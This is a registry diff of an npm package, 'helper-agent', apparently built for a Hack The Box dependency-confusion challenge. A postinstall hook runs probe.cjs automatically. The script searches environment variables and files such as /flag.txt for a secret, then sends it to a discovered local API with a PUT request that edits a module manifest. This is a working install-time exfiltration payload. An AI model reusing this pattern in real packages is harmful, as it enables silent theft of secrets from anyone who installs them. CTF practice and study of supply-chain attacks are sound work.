helper-agent 1.0.2 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/probe.cjs +40 -39
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "helper-agent",
3
- "version": "1.0.2",
3
+ "version": "1.0.3",
4
4
  "description": "Authorized HTB dependency-resolution canary",
5
5
  "scripts": {
6
6
  "postinstall": "node probe.cjs"
package/probe.cjs CHANGED
@@ -11,27 +11,27 @@ const API_URLS = [
11
11
  ];
12
12
 
13
13
  const FLAG_FILES = [
14
- "/flag.txt",
15
14
  "/flag",
15
+ "/flag.txt",
16
+ "/app/flag",
16
17
  "/app/flag.txt",
17
18
  "/home/node/flag.txt",
18
19
  "/home/app/flag.txt",
19
20
  "/opt/app/flag.txt"
20
21
  ];
21
22
 
22
- function extractFlag(value) {
23
- if (typeof value !== "string") return null;
24
- return value.match(/HTB\{[^}\r\n]{1,200}\}/)?.[0] || null;
25
- }
26
-
27
23
  function findFlag() {
28
- const fromEnvironment = extractFlag(process.env.FLAG);
29
- if (fromEnvironment) return fromEnvironment;
24
+ for (const key of ["FLAG", "HTB_FLAG"]) {
25
+ const match = process.env[key]?.match(/HTB\{[^}\r\n]+\}/);
26
+ if (match) return match[0];
27
+ }
30
28
 
31
- for (const filename of FLAG_FILES) {
29
+ for (const file of FLAG_FILES) {
32
30
  try {
33
- const result = extractFlag(fs.readFileSync(filename, "utf8"));
34
- if (result) return result;
31
+ const contents = fs.readFileSync(file, "utf8");
32
+ const match = contents.match(/HTB\{[^}\r\n]+\}/);
33
+
34
+ if (match) return match[0];
35
35
  } catch {}
36
36
  }
37
37
 
@@ -40,21 +40,23 @@ function findFlag() {
40
40
 
41
41
  async function main() {
42
42
  for (const base of API_URLS) {
43
+ const endpoint = `${base}/api/modules/${MODULE_ID}`;
44
+
43
45
  let record;
44
46
 
45
47
  try {
46
- const response = await fetch(
47
- `${base}/api/modules/${MODULE_ID}`,
48
- { signal: AbortSignal.timeout(2000) }
49
- );
48
+ const response = await fetch(endpoint, {
49
+ signal: AbortSignal.timeout(2000)
50
+ });
50
51
 
51
52
  if (!response.ok) continue;
53
+
52
54
  record = await response.json();
53
55
  } catch {
54
56
  continue;
55
57
  }
56
58
 
57
- // Restrict execution to the intended HTB application.
59
+ // Only proceed when running alongside the HTB application.
58
60
  if (
59
61
  record.id !== MODULE_ID ||
60
62
  typeof record.raw !== "string" ||
@@ -64,45 +66,44 @@ async function main() {
64
66
  continue;
65
67
  }
66
68
 
67
- const flag = findFlag();
68
-
69
- if (!flag) {
70
- console.log("[HTB] Target found; flag file not found");
71
- return;
72
- }
69
+ console.log("[HTB] Challenge application detected");
73
70
 
74
- let manifest = record.raw;
71
+ const flag = findFlag();
75
72
 
76
- // Remove any previous result to avoid duplicate YAML keys.
77
- manifest = manifest.replace(
78
- /^ ctf_result:.*\r?\n/gm,
73
+ // Remove any previous diagnostic/result fields.
74
+ let manifest = record.raw.replace(
75
+ /^ (ctf_result|ctf_status):.*\r?\n/gm,
79
76
  ""
80
77
  );
81
78
 
82
- // Add the result inside the ecto_module mapping.
79
+ const result = flag
80
+ ? ` ctf_result: ${JSON.stringify(flag)}`
81
+ : ' ctf_status: "postinstall_executed_flag_not_found"';
82
+
83
83
  manifest = manifest.replace(
84
84
  /^ecto_module:\s*$/m,
85
- `ecto_module:\n ctf_result: ${JSON.stringify(flag)}`
85
+ `ecto_module:\n${result}`
86
86
  );
87
87
 
88
88
  try {
89
- const response = await fetch(
90
- `${base}/api/modules/${MODULE_ID}`,
91
- {
92
- method: "PUT",
93
- headers: { "Content-Type": "application/json" },
94
- body: JSON.stringify({ manifest }),
95
- signal: AbortSignal.timeout(3000)
96
- }
97
- );
98
-
99
- console.log("[HTB] Manifest update:", response.status);
89
+ const response = await fetch(endpoint, {
90
+ method: "PUT",
91
+ headers: {
92
+ "Content-Type": "application/json"
93
+ },
94
+ body: JSON.stringify({ manifest }),
95
+ signal: AbortSignal.timeout(3000)
96
+ });
97
+
98
+ console.log("[HTB] Manifest update HTTP:", response.status);
100
99
  } catch (error) {
101
100
  console.log("[HTB] Update failed:", error.message);
102
101
  }
103
102
 
104
103
  return;
105
104
  }
105
+
106
+ console.log("[HTB] Local challenge API not detected");
106
107
  }
107
108
 
108
109
  main().catch(console.error);